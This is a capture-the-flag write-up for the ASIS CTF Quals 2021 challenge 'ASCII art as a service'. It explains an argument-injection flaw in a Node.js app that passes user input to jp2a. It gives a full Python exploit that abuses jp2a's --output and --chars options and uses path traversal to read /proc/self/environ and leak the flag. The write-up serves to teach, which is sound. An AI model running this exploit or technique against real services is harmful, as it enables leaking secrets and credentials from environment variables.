ASIS CTF Quals 2021 – ASCII art a a service

The ASIS CTF Quals 2021 (ctftime.org) took place from 22/10/2021, 15:00 UTC to 24/10/2021, 15:00 UTC providing a total amount of 24 challenges.

One of those challenges I really enjoyed was ASCII art as a service. This article contains my writeup for the challenge and is divided into the following sections:

Challenge Description
Source Code
Solution


Challenge Description

The challenge provides the source code of the nodejs application as well as a Dockerfile and docker-compose.yml in order to run the server locally:

$ tar -xvf ascii_art_as_a_service_6ce4aa478f6b3427da1a1364dd1fdf8437005f59.txz
...
$ find ascii_art_as_a_service 
ascii_art_as_a_service
ascii_art_as_a_service/Dockerfile
ascii_art_as_a_service/app
ascii_art_as_a_service/app/static
ascii_art_as_a_service/app/static/index.html
ascii_art_as_a_service/app/index.js
ascii_art_as_a_service/app/request
ascii_art_as_a_service/app/package.json
ascii_art_as_a_service/app/output
ascii_art_as_a_service/docker-compose.yml

The application allows us to a provide a URL to an image, which is then converted to ASCII art:

For example if we submit the URL of the ASIS CTF logo, we get the following output:

Within the docker-compose.yml file we can see, that the flag is stored in an environment variable:

$ cat ascii_art_as_a_service/docker-compose.yml 
version: '3'
services:
  ascii_art_as_a_service:
    build: .
    restart: always
    read_only: true
    tmpfs:
      - /app/request
      - /app/output
      - /tmp
    ports:
      - 8000:9000
    environment:
      - FLAG=flag{fake-flag}

Thus we need to find some way to read this environment variable.


Source Code

The source code of the application itself is stored in app/index.js:

#!/usr/bin/env node
const express = require('express')
const childProcess = require('child_process')
const expressSession = require('express-session')
const fs = require('fs')
const crypto = require('crypto')
const app = express()
const flag = process.env.FLAG || process.exit()
const genRequestToken = () => Array(32).fill().map(()=>"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789".charAt(Math.random()*62)).join("")

app.use(express.static("./static"))
app.use(expressSession({
	secret: crypto.randomBytes(32).toString("base64"),
	resave: false,
	saveUninitialized: true,
	cookie: { secure: false, sameSite: 'Lax' }
}))
app.use(express.json())

app.post('/request',(req,res)=>{
	const url = req.body.url
	const reqToken = genRequestToken()
	const reqFileName = `./request/${reqToken}`
	const outputFileName = `./output/${genRequestToken()}`

	fs.writeFileSync(reqFileName,[reqToken,req.session.id,"Processing..."].join('|'))
	setTimeout(()=>{
		try{
			const output = childProcess.execFileSync("timeout",["2","jp2a",...url])
			fs.writeFileSync(outputFileName,output.toString())
			fs.writeFileSync(reqFileName,[reqToken,req.session.id,outputFileName].join('|'))
		} catch(e){
			fs.writeFileSync(reqFileName,[reqToken,req.session.id,"Something bad happened!"].join('|'))
		}
	},2000)
	res.redirect(`/request/${reqToken}`)
})

app.get("/request/:reqtoken",(req,res)=>{
	const reqToken = req.params.reqtoken
	const reqFilename = `./request/${reqToken}`
	var content
	if(!/^[a-zA-Z0-9]{32}$/.test(reqToken) || !fs.existsSync(reqFilename)) return res.json( { failed: true, result: "bad request token." })

	const [origReqToken,ownerSessid,result] = fs.readFileSync(reqFilename).toString().split("|")

	if(req.session.id != ownerSessid) return res.json( { failed: true, result: "Permissions..." })
	if(result[0] != ".") return res.json( { failed: true, result: result })

	try{
		content = fs.readFileSync(result).toString();
	} catch(e) {
		return res.json({ failed: false, result: "Something bad happened!" })
	}

	res.json({ failed: false, result: content })
	res.end()
})

app.get("/flag",(req,res)=>{
	if(req.ip == "127.0.0.1" || req.ip == "::ffff:127.0.0.1") res.json({ failed: false, result: flag })
	else res.json({ failed: true, result: "Flag is not yours..." })
})

function clearOutput(){
	try{
		childProcess.execSync("rm ./output/* ./request/* 2> /dev/null")
	} catch(e){}
	setTimeout(clearOutput,120e3)
}

clearOutput()
app.listen(9000)

Let’s point out a few noticeable aspects of the source code.

The GET endpoint /flag yields the flag, but only if the request originates from 127.0.0.1 or ::ffff:127.0.0.1:

app.get("/flag",(req,res)=>{
	if(req.ip == "127.0.0.1" || req.ip == "::ffff:127.0.0.1") res.json({ failed: false, result: flag })
	else res.json({ failed: true, result: "Flag is not yours..." })
})

As we will later see, we don’t need this endpoint to get the flag.

The POST endpoint /request is used to retrieve a URL to an image from the user and convert it to ASCII art:

app.post('/request',(req,res)=>{
	const url = req.body.url
	const reqToken = genRequestToken()
	const reqFileName = `./request/${reqToken}`
	const outputFileName = `./output/${genRequestToken()}`

	fs.writeFileSync(reqFileName,[reqToken,req.session.id,"Processing..."].join('|'))
	setTimeout(()=>{
		try{
			const output = childProcess.execFileSync("timeout",["2","jp2a",...url])
			fs.writeFileSync(outputFileName,output.toString())
			fs.writeFileSync(reqFileName,[reqToken,req.session.id,outputFileName].join('|'))
		} catch(e){
			fs.writeFileSync(reqFileName,[reqToken,req.session.id,"Something bad happened!"].join('|'))
		}
	},2000)
	res.redirect(`/request/${reqToken}`)
})

Let’s have a closer look at each part of this. At first a random filename reqFileName within the folder ./request is created:

...
	const reqToken = genRequestToken()
	const reqFileName = `./request/${reqToken}`
...

The genRequestToken function is defined a few lines above and simply generates a random 32 byte token:

...
const genRequestToken = () => Array(32).fill().map(()=>"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789".charAt(Math.random()*62)).join("")
...

Secondly a random filename outputFileName within the folder ./output/ is created the same way:

...
	const outputFileName = `./output/${genRequestToken()}`
...

At next the following content is written to the file reqFileName:

...
	fs.writeFileSync(reqFileName,[reqToken,req.session.id,"Processing..."].join('|'))
...

These three pipe-separated values are:

  • the request token (reqToken), which was also used as the filename within the ./request/ folder
  • the express session id (req.session.id)
  • the static string "Processing..."

An example content of the file at this point might look like this:

www@d6f31929ff83:/app$ cat request/jkrfHfSwadMpU3waxeif6NlOLF7epMFT 
jkrfHfSwadMpU3waxeif6NlOLF7epMFT|gX7QbQU1v-0pPZqO6dHOyuxWeZagOBeF|Processing...

After the file has been written, childProcess.execFileSync is used to run the external program jp2a, which is responsible for converting an image to ASCII art:

...
			const output = childProcess.execFileSync("timeout",["2","jp2a",...url])
...

The actual binary being executed is timeout with the first argument set to 2. This will make the jp2a program terminate, if it takes longer than 2 seconds to execute. Noticeable is the last parameter: ...url. The url variable is directly taken from the request body:

...
	const url = req.body.url
...

The three dots in front of the url variable converts an array of strings to a single, space-separated string. See the following example:

$ node

> url = ['aa','bb','cc']

> console.log(url)
[ 'aa', 'bb', 'cc' ]

> console.log(...url)
aa bb cc

After the jp2a program was executed and converted the provided image to ASCII art, this ASCII art (output) is written to the outputFileName file:

...
			fs.writeFileSync(outputFileName,output.toString())
...

For example after retrieving the ASIS logo, the outputFileName file looks like this:

www@d6f31929ff83:/app$ cat output/U5hNtdAnvDxv9UwyZjfqlkTRgb8P77Uw 
                 .dkO0KOkkOKO:                                                  
              :O0xl:'..    .;kxOk;                                              
           ,k0x;.   .......    .:0c                    .'.                      
         dOd;.  ..',,,''..'''..  .K.               ,kkxolldkkx.                 
       x0o.  ..,,,'..      ',,,'  x'              k0:.      .oX,                
     'Kk.  .',,,'.  .;ox' .,,,,'  x.             cK.  .',,'.  xK                
    l0;  .',,,'.  ;;  Xk  ',,,,.  O        .coc. lO  .,,,,,.  od   ;loc.        
   lO.  .,,,,'  ,d   cX. .,,,,'  .d     ;O0xl:lx0K0;  .....  ,k cOOo::lx0k.     
  cK'  ',,,,.  :,    Xd  .,,,,.  k.   .O0:.     .oO;       ,d 'Ok.      .oO     
 ;X;  ',,,,.  c.    dK.  ,,,,'  ;k  .x0c  ..','.     .''.  dxk0c  .'','.  0     
 Xo  ',,,,.  oc    .X:  ',,,,.  0. lKd.  .,,,'.     ',,,   KXd.  ',,,'.  ::     
oK  .,,,,'  :d    .Kx  .,,,,.  dc.kk,  .',,,,.  :  .,,,.  ok,  .',,,,   d''ooo. 
Kd  ,;;;;.  K.   ,Xo  .;;;;,  'XX0c  .,;;,;;;'  .  ;;;;. .;  .,;;,;;;.  OKkc:oKk
Kc  loooo. 'X   lXl  'ooooo:  dd;. .:ool' looo    :oooo    .:ool..oooo  .,    ,X
kl  loooo. .KOdko'  ;oo;ooo;    .'cooc'   looo  .'oooo:  ,cooo'  .oooo  ..;l. .X
,O  ;ooooc  .,'. .,lol..oool',:oooool.    oooo:loooooo: looooc   ,oooo:loool. .X
 dc  looool;'.',cooo:   oooooooooc'loo:;;looooooc:oooooooo:loo:;:oooooooc;.  .d,
  .l  ':ooooooool:,. .. .:cc:;,..   .,:::::,'..   .',,,'.   .,::::;,'..  .;;    
    c;.  ..''''.  .;o cc.    ..;l.'l,..   ..,:l'.l;'...,c:,l,..   .';:l'        
       :c;'...';l'                                                              
          ,lol, 

At next the reqFileName file is updated by setting the third pipe-separated value to the filename outputFileName:

...
			fs.writeFileSync(reqFileName,[reqToken,req.session.id,outputFileName].join('|'))
...

Now the file looks for example like this (the static string "Processing..." was replaced with the value of outputFileName):

www@d6f31929ff83:/app$ cat request/jkrfHfSwadMpU3waxeif6NlOLF7epMFT 
jkrfHfSwadMpU3waxeif6NlOLF7epMFT|gX7QbQU1v-0pPZqO6dHOyuxWeZagOBeF|./output/W6It6ybWQvgaMuEQGOi4oo3hoEExMCqe

In cause of an error during the execution of the jp2a program, the third pipe-separated value is populated with the static string "Something bad happened!":

...
		} catch(e){
			fs.writeFileSync(reqFileName,[reqToken,req.session.id,"Something bad happened!"].join('|'))
		}
...

At the very last a redirect to the GET endpoint /request/${reqToken} is issued:

...
	res.redirect(`/request/${reqToken}`)
...

Let’s also have a closer look at this GET endpoint:

app.get("/request/:reqtoken",(req,res)=>{
	const reqToken = req.params.reqtoken
	const reqFilename = `./request/${reqToken}`
	var content
	if(!/^[a-zA-Z0-9]{32}$/.test(reqToken) || !fs.existsSync(reqFilename)) return res.json( { failed: true, result: "bad request token." })

	const [origReqToken,ownerSessid,result] = fs.readFileSync(reqFilename).toString().split("|")

	if(req.session.id != ownerSessid) return res.json( { failed: true, result: "Permissions..." })
	if(result[0] != ".") return res.json( { failed: true, result: result })

	try{
		content = fs.readFileSync(result).toString();
	} catch(e) {
		return res.json({ failed: false, result: "Something bad happened!" })
	}

	res.json({ failed: false, result: content })
	res.end()
})

The reqToken is taken from the URI path and is used to set the reqFileName variable:

...
	const reqToken = req.params.reqtoken
	const reqFilename = `./request/${reqToken}`
...

At first it is verified that the user provided reqToken from the URI path contains 32 characters / digits. If that is true, it is also verified that the corresponding reqFilename file exists. Otherwise the error message "bad request token." is returned:

...
	if(!/^[a-zA-Z0-9]{32}$/.test(reqToken) || !fs.existsSync(reqFilename)) return res.json( { failed: true, result: "bad request token." })
...

If these checks are passed, the reqFilename file is read and the pipe-separated values are stored in local variables:

...
	const [origReqToken,ownerSessid,result] = fs.readFileSync(reqFilename).toString().split("|")
...

Now it is verified that the req.session.id from the current request matches the session id from the original request (ownerSessid):

...
	if(req.session.id != ownerSessid) return res.json( { failed: true, result: "Permissions..." })
...

If the result variable (third of the pipe-separated values) does not begin with a dot (.), its content is directly returned:

...
	if(result[0] != ".") return res.json( { failed: true, result: result })
...

Otherwise it is assumed to be the former outputFileName. This file was used to store the output of the jp2a command (namely the ASCII art). In this case the file is read and its content is returned:

...
	try{
		content = fs.readFileSync(result).toString();
	} catch(e) {
		return res.json({ failed: false, result: "Something bad happened!" })
	}
	
	res.json({ failed: false, result: content })
	res.end()
...

Now that we have a good understanding of what the application does, let’s see how we can use this to get the flag.


Solution

One crucial aspect is that we can pass arbitrary arguments to the jp2a program by using the url parameter:

app.post('/request',(req,res)=>{
	const url = req.body.url
	...
	setTimeout(()=>{
		try{
			const output = childProcess.execFileSync("timeout",["2","jp2a",...url])
			...

The arguments we can provide also includes options for jp2a. And there are quite a few:

$ jp2a -h
jp2a 1.1.0                                                                                         
Copyright 2006-2016 Christian Stigen Larsen                                                        
and 2020 Christoph Raitzig                                                                         
Distributed under the GNU General Public License (GPL) v2.

Usage: jp2a [ options ] [ file(s) | URL(s) ]

Convert files or URLs from JPEG/PNG format to ASCII.

OPTIONS
  -                 Read images from standard input.
      --blue=N.N    Set RGB to grayscale conversion weight, default is 0.1145
  -b, --border      Print a border around the output image.
      --chars=...   Select character palette used to paint the image.
                    Leftmost character corresponds to black pixel, right-
                    most to white.  Minimum two characters must be specified.
      --clear       Clears screen before drawing each output image.
      --colors      Use true colors or, if true color is not supported, ANSI
                    in output.
      --color-depth=N   Use a specific color-depth for terminal output. Valid
                        values are: 4 (for ANSI), 8 (for 256 color palette)
                        and 24 (for truecolor or 24-bit color).
  -d, --debug       Print additional debug information.
      --fill        When used with --color and/or --htmlls or --xhtml, color
                    each character's background.
  -x, --flipx       Flip image in X direction.
  -y, --flipy       Flip image in Y direction.
  -f, --term-fit    Use the largest image dimension that fits in your terminal
                    display with correct aspect ratio.
      --term-height Use terminal display height.
      --term-width  Use terminal display width.
  -z, --term-zoom   Use terminal display dimension for output.
      --grayscale   Convert image to grayscale when using --htmlls or --xhtml
                    or --colors
      --green=N.N   Set RGB to grayscale conversion weight, default is 0.5866
      --height=N    Set output height, calculate width from aspect ratio.
  -h, --help        Print program help.
      --htmlls      Produce HTML (Living Standard) output.
      --html        Produce strict XHTML 1.0 output (will produce HTML output
                    from version 2.0.0 onward).
      --xhtml       Produce strict XHTML 1.0 output.
      --html-fill   Same as --fill (will be phased out).
      --html-fontsize=N   Set fontsize to N pt, default is 4.
      --html-no-bold      Do not use bold characters with HTML output
      --html-raw    Output raw HTML codes, i.e. without the <head> section etc.
                    (Will use <br> for version 2.0.0 and above.)
      --html-title=...  Set HTML output title
  -i, --invert      Invert output image.  Use if your display has a dark
                    background.
      --background=dark   These are just mnemonics whether to use --invert
      --background=light  or not.  If your console has light characters on
                    a dark background, use --background=dark.
      --output=...  Write output to file.
      --red=N.N     Set RGB to grayscale conversion weight, default 0.2989f.
      --size=WxH    Set output width and height.
  -v, --verbose     Verbose output.
  -V, --version     Print program version.
      --width=N     Set output width, calculate height from ratio.

  The default mode is `jp2a --term-fit --background=dark'.
  See the man-page for jp2a for more detailed help text.

Project homepage on https://github.com/Talinx/jp2a
Report bugs to <chris-r@posteo.net>

One option that immediately sticks out is --output:

...
      --output=...  Write output to file.
...

This means that we can write the output of jp2a (ASCII art) to a file.

A valuable target for a file to write is the reqFilename in the ./request/ folder, which contains the three pipe-separated values. The last of these values may contain a filename (outputFileName), which can be read via the /request/:reqtoken GET endpoint.

If we set this filename to /proc/self/environ, we can read all environment variables of the nodejs process including the flag.

We already noticed that the third pipe-separated value is only treated as a filename, when the first character is a dot (.). Thus we cannot use an absolute path beginning with a slash (/). Though we can use path traversal to take this into account and reference the target file via ./../../../../proc/self/environ.

Thus the reqFilename file we want to write, should look like this:

<reqToken>|<req.session.id>|./../../../../proc/self/environ

For the reqToken we only have to ensure that we satisfy the following check:

...
	if(!/^[a-zA-Z0-9]{32}$/.test(reqToken) ...
...

Thus a reqToken like aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ('a'*32) is fine. Since the reqToken value is also used as the filename, the file we want to write is ./request/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa. Which reqToken we write into the file actually does not matter, because it is not evaluated after being parsed into origReqToken (first pipe-separated value).

The req.session.id (second pipe-separated value) must be a valid session id, because otherwise express will not accept it and issue a new session id.

Summing this up we can conclude that we should provide the option --output=./request/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa in order to write a reqFilename file.

We also know, what we want to write into the file, in order to read /proc/self/environ. The only problem left is how can we write this content?

The content written to the file is the output of jp2a, which is the converted ASCII art. Thus we need to find a way to make jp2a convert an image to an arbitrary content of our choice.

In order to do this another option comes in handy: --chars:

...
      --chars=...   Select character palette used to paint the image.
                    Leftmost character corresponds to black pixel, right-
                    most to white.  Minimum two characters must be specified.
...

As the description states, there is a palette of characters to create the ASCII art. Which character from the palette is used for a certain pixel is based on its grayscale value.

We can see how this is done in the source code of jp2a in the file image.c:

...
			float Y = i->pixel[x + (flipy? i->height - y - 1 : y ) * i->width];
			float Y_inv = 1.0f - Y;
...

			const int pos = ROUND((float)chars * (!invert? Y_inv : Y));
			char ch = ascii_palette[pos];
...

Since the ASCII arts are monochrome a float value is sufficient to describe a pixel instead of a full RGB value. This grayscale value is stored in Y, which is multiplied with chars. chars was formerly set to strlen(ascii_palette) - 1 (not shown above). The result is stored in pos, which is then used as an index into ascii_palette. This way the corresponding character from the palette is selected based on the grayscale value of a pixel.

In order to make jp2a generate an arbitrary output of our choice we have to provide a custom palette using the --chars option. This palette should contain all characters, we want to write. Also we need to create an image, which encodes the content we want to write by representing each character by a pixel with the appropriate grayscale value.

Let’s build a python script step by step, which carries out this approach.

At first we need to retrieve a valid value for the express session id. This can simply be done by sending a GET request to the /request endpoint:

# Retrieve a valid session id. We need to extract the part between "%3A" and "."
# Example:
# connect.sid=s%3AKIApMzewvhrQ63R4mBAXD3AoS9ffqTp6.5c7a%2Bj%2FdZ9hQ0AeVoHCUaJV%2FasWT%2FdTaVlK5bgerhkA
# req.session.id = KIApMzewvhrQ63R4mBAXD3AoS9ffqTp6

s = requests.Session()
s.get(url+'/request')
c = s.cookies.get_dict()
session_id = re.search('s%3A([a-zA-Z0-9-_]+)\.', s.cookies.get_dict()['connect.sid']).group(1)
print('retrieved session id: %s' % session_id)

At next we generate the file content, we want to write and the corresponding palette. Though a little adjustment is necessary here. When jp2a writes the output to a file via the --ouput option a new line character at the end is appended. If we use the following content:

<reqToken>|<req.session.id>|./../../../../proc/self/environ

… this new line character ends up in our filename ("./../../../../proc/self/environ\n") and nodejs will fail to read the file. In order to circumvent this, we simply add another pipe after the filename. This way the split operation will only extract the filename without a newline:

# The content of the reqFileName file we want to write.
# We need to append an additional pipe after the filename. Otherwise the filename contains a new line character at the end.
# The palette should contain all chars / digits used.

reqFileContent = 'a'*32 + '|' + session_id + '|./../../../../proc/self/environ|'
palette = ''.join(sorted(set(reqFileContent)))
print('palette: %s' % palette)

Now we can generate the image, which encodes all characters from reqFileContent with their corresponding grayscale value:

# Encode all characters using their index within the palette.
# Store each character as a pixel with the corresponding grayscale value.

arr = []
chars = len(palette) - 1
for ch in reqFileContent:
  pos = palette.index(ch)
  Y = round( pos / chars * 255 )
  arr.append(Y)
img = Image.new('L', (len(reqFileContent) + 1, 1))
img.putdata(arr);
img.save('./flag.png')

The generated image (flag.png) should be hosted on a publicly available server. After making the image available, we can submit the URL to it also providing the required options for jp2a. In order to get our desired result we also use the options --height and --width to align the size with our file content.

# Now we need to upload the create image to a publicly available server.
# After the image has been uploaded we can submit the URL including the required options via the POST /request endpoint.

input('press ENTER when uploaded flag.png > ')
img_url = 'http://<IP>/flag.png'
j = {'url' : [img_url, '--height=1', '--width='+str(len(reqFileContent)), '--chars='+palette, '--output=./request/'+'a'*32]}
s.post(url+'/request', json=j)

After the URL has been submitted, we need to wait for jp2a to finish and should then be able to retrieve the result:

# We have to wait until the ASCII art has been produced.
# The output should be available via the GET endpoint /request/<reqToken>:

sleep(3.0)
r = s.get(url+'/request/'+'a'*32)
print(r.text)

The full script looks like this:

#!/usr/bin/env python3

import requests
import re
from PIL import Image
import subprocess
from time import sleep


url = 'http://asciiart.asisctf.com:9000'


# Retrieve a valid session id. We need to extract the part between "%3A" and "."
# Example:
# connect.sid=s%3AKIApMzewvhrQ63R4mBAXD3AoS9ffqTp6.5c7a%2Bj%2FdZ9hQ0AeVoHCUaJV%2FasWT%2FdTaVlK5bgerhkA
# req.session.id = KIApMzewvhrQ63R4mBAXD3AoS9ffqTp6

s = requests.Session()
s.get(url+'/request')
c = s.cookies.get_dict()
session_id = re.search('s%3A([a-zA-Z0-9-_]+)\.', s.cookies.get_dict()['connect.sid']).group(1)
print('retrieved session id: %s' % session_id)


# The content of the reqFileName file we want to write.
# We need to append an additional pipe after the filename. Otherwise the filename contains a new line character at the end.
# The palette should contain all chars / digits used.

reqFileContent = 'a'*32 + '|' + session_id + '|./../../../../proc/self/environ|'
palette = ''.join(sorted(set(reqFileContent)))
print('palette: %s' % palette)


# Encode all characters using their index within the palette.
# Store each character as a pixel with the corresponding grayscale value.

arr = []
chars = len(palette) - 1
for ch in reqFileContent:
  pos = palette.index(ch)
  Y = round( pos / chars * 255 )
  arr.append(Y)
img = Image.new('L', (len(reqFileContent) + 1, 1))
img.putdata(arr);
img.save('./flag.png')


# Now we need to upload the create image to a publicly available server.
# After the image has been uploaded we can submit the URL including the required options via the POST /request endpoint.

input('press ENTER when uploaded flag.png > ')
img_url = 'http://<IP>/flag.png'
j = {'url' : [img_url, '--height=1', '--width='+str(len(reqFileContent)), '--chars='+palette, '--output=./request/'+'a'*32]}
s.post(url+'/request', json=j)


# We have to wait until the ASCII art has been produced.
# The output should be available via the GET endpoint /request/<reqToken>:

sleep(3.0)
r = s.get(url+'/request/'+'a'*32)
print(r.text)

Running the script successfully reads the contents of /proc/self/environ from the server:

$ ./get_flag.py 
retrieved session id: P9fhIF3fpO2oH9S-viDxVi_VqFbQKmsD
palette: -./239DFHIKOPQSV_abcefhilmnopqrsvx|
press ENTER when uploaded flag.png > 
{"failed":false,"result":"HOSTNAME=99fee45de048\u0000HOME=/home/www\u0000TERM=xterm\u0000PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\u0000DEBIAN_FRONTEND=noninteractive\u0000PWD=/app\u0000FLAG=ASIS{ascii_art_is_the_real_art_o/_a39bc8}\u0000NODE_ENV=production\u0000"}

The flag is ASIS{ascii_art_is_the_real_art_o/_a39bc8}.